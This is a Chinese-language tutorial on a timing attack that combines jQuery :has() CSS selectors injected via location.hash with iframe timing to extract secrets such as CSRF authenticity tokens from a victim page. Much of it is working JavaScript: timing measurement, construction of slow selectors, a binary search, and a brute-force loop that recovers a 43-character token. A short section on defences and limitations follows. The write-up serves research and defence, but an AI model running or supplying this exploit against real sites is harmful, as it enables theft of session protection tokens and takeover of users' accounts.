使用CSS选择器和Javascript进行时序攻击
字数 827 2025-08-27 12:33:37
CSS选择器和JavaScript时序攻击教学文档
1. 攻击原理概述
时序攻击(Timing Attack)是一种通过测量代码执行时间来推断敏感信息的攻击方式。本文介绍了一种利用CSS选择器和JavaScript实现的时序攻击方法,可以从HTML中提取几乎任何秘密字符串。
2. 核心概念
2.1 CSS选择器的短路特性
浏览器从右到左评估CSS选择器,当右侧部分不匹配时,会立即停止评估(短路行为)。这种特性可以被用来构造时间差异:
- 当选择器匹配时,浏览器会完整评估整个选择器,耗时较长
- 当选择器不匹配时,浏览器会快速返回,耗时较短
2.2 :has伪类选择器
jQuery实现了:has()伪类选择器,可以匹配包含特定子元素的元素。通过嵌套多层:has()可以构造出耗时的选择器。
示例:
$(":has(:has(:has())) :has(:has(:has())) :has(:has(:has())) main[id='site-main']")
2.3 执行时间测量
由于浏览器是单线程的,受害者站点上长时间运行的JavaScript会阻塞攻击者站点的执行,这为测量时间差提供了可能。
3. 攻击实施步骤
3.1 基本时间测量函数
const WAIT_TIME = 6;
const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";
const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
function get_execution_time(selector) {
var t0 = window.performance.now();
var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + Math.random();
return p;
}
function measure_time(t0) {
var t = window.performance.now() - t0;
return t;
}
3.2 构造耗时选择器
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
function make_selector(prefix, characters) {
return characters
.split("")
.map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
.join(",");
}
3.3 二分搜索实现
async function binary_search(prefix, characters) {
console.log("Testing '" + characters + "'");
if (characters.length == 1) {
return characters[0];
}
var mid = Math.floor(characters.length/2);
var s1 = make_selector(prefix, characters.slice(0, mid));
var s2 = make_selector(prefix, characters.slice(mid, characters.length));
var t1 = await get_execution_time(s1);
var t2 = await get_execution_time(s2);
if (t1 < t2) {
return binary_search(prefix, characters.slice(mid, characters.length));
} else {
return binary_search(prefix, characters.slice(0, mid));
}
}
3.4 完整暴力破解流程
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
var misses = 0;
var token = "";
while (token.length < TOKEN_LENGTH) {
var c = await binary_search(token, BASE64_CHARS);
if (c === null) {
misses++;
if (misses == 3) {
token = token.slice(0, -1); // 回溯
}
} else {
token += c;
misses = 0;
}
}
return token;
}
4. 防御措施
4.1 站点隔离(Site Isolation)
Chrome的站点隔离功能可以防止此攻击,因为它会将不同站点隔离到不同进程中。
4.2 X-Frame-Options
设置X-Frame-Options头可以阻止页面被嵌入iframe,增加攻击难度:
X-Frame-Options: DENY
4.3 其他防御方法
- 避免直接执行
location.hash中的内容 - 对敏感输入字段使用一次性令牌
- 实现CSRF保护机制
5. 攻击限制
- 需要现代浏览器支持
async/await - 受浏览器单线程特性限制
- 站点隔离会阻止攻击
- 需要受害者站点存在特定的jQuery代码模式
6. 实际应用示例
假设目标站点有以下代码:
$(window).on('hashchange', function() {
var hash = window.location.hash.slice(1);
$(hash);
});
攻击者可以构造如下URL进行攻击:
https://victim.com/#:has(:has(:has())) input[name=secret][value^='a']
通过测量页面响应时间,可以推断出secret字段的值。